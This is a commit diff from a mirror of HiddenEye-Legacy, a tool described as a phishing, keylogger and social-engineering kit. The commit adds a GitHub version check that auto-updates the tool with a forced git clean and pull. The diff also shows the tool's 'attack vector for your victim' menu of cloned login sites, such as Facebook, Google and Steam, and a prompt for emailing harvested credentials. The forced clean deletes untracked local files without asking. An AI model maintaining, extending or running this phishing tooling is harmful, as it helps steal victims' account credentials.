mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Added Version Check.
This commit is contained in:
parent
5c4f69e5c7
commit
192a438c5c
|
@ -612,6 +612,9 @@ def runMainMenu(): # menu where user select what they wanna use
|
|||
|
||||
def mainMenu():
|
||||
system('clear')
|
||||
with open('version.txt') as f:
|
||||
ver_current = f.read()
|
||||
version = ver_current.strip()
|
||||
print('''
|
||||
|
||||
{2} ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ ███████ {1}
|
||||
|
@ -619,10 +622,10 @@ def mainMenu():
|
|||
{2} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ ███████ {1}
|
||||
{2} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ ██ {1}
|
||||
{2} ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ ███████ {1}
|
||||
{3}[{1}v{3}0{1}.{3}5{1}.{3}2{3}]{1} BY:DARKSEC{2}
|
||||
{3}[{1}v {4}{3}]{1} BY:DARKSEC{2}
|
||||
{3}[{2} Modern Phishing Tool With Advanced Functionality {3}]
|
||||
{3}[{2} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {3}]
|
||||
________________________________________________________________________________'''.format(MAIN3, MAIN4, MAIN2, MAIN0))
|
||||
________________________________________________________________________________'''.format(MAIN3, MAIN4, MAIN2, MAIN0, version))
|
||||
print("------------------------\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n------------------------".format(MAIN0, MAIN2))
|
||||
print(" {0}[{1}01{0}]{1} Facebook {0}[{1}13{0}]{1} Steam {0}[{1}25{0}]{1} Badoo {0}[{1}37{0}]{1} PlayStation".format(MAIN0, MAIN2))
|
||||
print(" {0}[{1}02{0}]{1} Google {0}[{1}14{0}]{1} VK {0}[{1}26{0}]{1} CryptoCurrency {0}[{1}38{0}]{1} Xbox".format(
|
||||
|
@ -1051,7 +1054,6 @@ def emailPrompt3(port): # Ask user to start sending credentials to recipient Em
|
|||
system('clear')
|
||||
return emailPrompt3(port)
|
||||
|
||||
|
||||
def endMessage(port): # Message when HiddenEye exit
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(M) : SelectServer(S)\n\n >> {2}".format(MAIN0, MAIN4, MAIN2)).upper()
|
||||
|
|
|
@ -13,6 +13,7 @@ installGetText()
|
|||
languageSelector()
|
||||
|
||||
|
||||
|
||||
def checkConnection(host='https://google.com'): # Connection check
|
||||
system('clear')
|
||||
try:
|
||||
|
@ -37,11 +38,42 @@ if checkConnection() == False:
|
|||
'''.format(RED, DEFAULT))
|
||||
exit()
|
||||
|
||||
def verCheck():
|
||||
system('clear')
|
||||
print("{1}[{0}>{1}] {0}Checking For Updates{2}...".format(GREEN, RED, DEFAULT ))
|
||||
ver_url = 'https://raw.githubusercontent.com/darksecdevelopers/hiddeneye/master/version.txt'
|
||||
ver_rqst = requests.get(ver_url)
|
||||
ver_sc = ver_rqst.status_code
|
||||
if ver_sc == 200:
|
||||
with open('version.txt') as f:
|
||||
ver_current = f.read()
|
||||
ver_current = ver_current.strip()
|
||||
github_ver = ver_rqst.text
|
||||
github_ver = github_ver.strip()
|
||||
if ver_current == github_ver:
|
||||
print("{1}[{0}+{1}] {0}[Up-To-Date]- {2}v {3}".format(GREEN, RED, DEFAULT, github_ver))
|
||||
sleep(3)
|
||||
else:
|
||||
print("{1}[{0}>{1}] {0}Their Is A Newer Version Available{2}.\n".format(GREEN, RED, DEFAULT))
|
||||
print("{1}[{0}+{1}] {0}[Current]- {2}v {3}\n{1}[{0}+{1}] {0}[Available]- {2}v.{4}".format(GREEN, RED, DEFAULT, ver_current, github_ver))
|
||||
print("{1}[{0}>{1}] {1}Updating To The Latest Version {0}[v {3}]... \n{1}[{0}>{1}] {0}Please Wait\n".format(GREEN, RED, DEFAULT, github_ver))
|
||||
system("git clean -d -f > /dev/null && git pull -f > /dev/null")
|
||||
with open('version.txt') as f:
|
||||
ver_current = f.read()
|
||||
ver_current = ver_current.strip()
|
||||
print("{1}[{0}>{1}] {0}Version Status After Update.{2}.\n".format(GREEN, RED, DEFAULT))
|
||||
print("{1}[{0}+{1}] {0}[Current]- {2}v {3}\n{1}[{0}+{1}] {0}[Available]- {2}v.{4}".format(GREEN, RED, DEFAULT, ver_current, github_ver))
|
||||
sleep(5)
|
||||
system("clear")
|
||||
else:
|
||||
print('{1}[{0}^{1}] {0}Failed To Get Update [Status:{1}{3}{0}]\n'.format(GREEN, RED, DEFAULT))
|
||||
|
||||
|
||||
def checkPHP(): # PHP installation Check
|
||||
if 256 != system('which php > /dev/null'): # Checking if user have PHP
|
||||
print(" {2}* {0}PHP INSTALLATION FOUND".format(MAIN2, MAIN4, MAIN0))
|
||||
print(" {2}* {0}PHP INSTALLATION FOUND".format(GREEN, DEFAULT, RED))
|
||||
else:
|
||||
print("{0}**{2} PHP NOT FOUND\n {0}** {2} Installing PHP... ".format(MAIN2, MAIN4, MAIN0))
|
||||
print("{0}**{2} PHP NOT FOUND\n {0}** {2} Installing PHP... ".format(RED, GREEN, DEFAULT))
|
||||
system('apt-get install php > /dev/null')
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user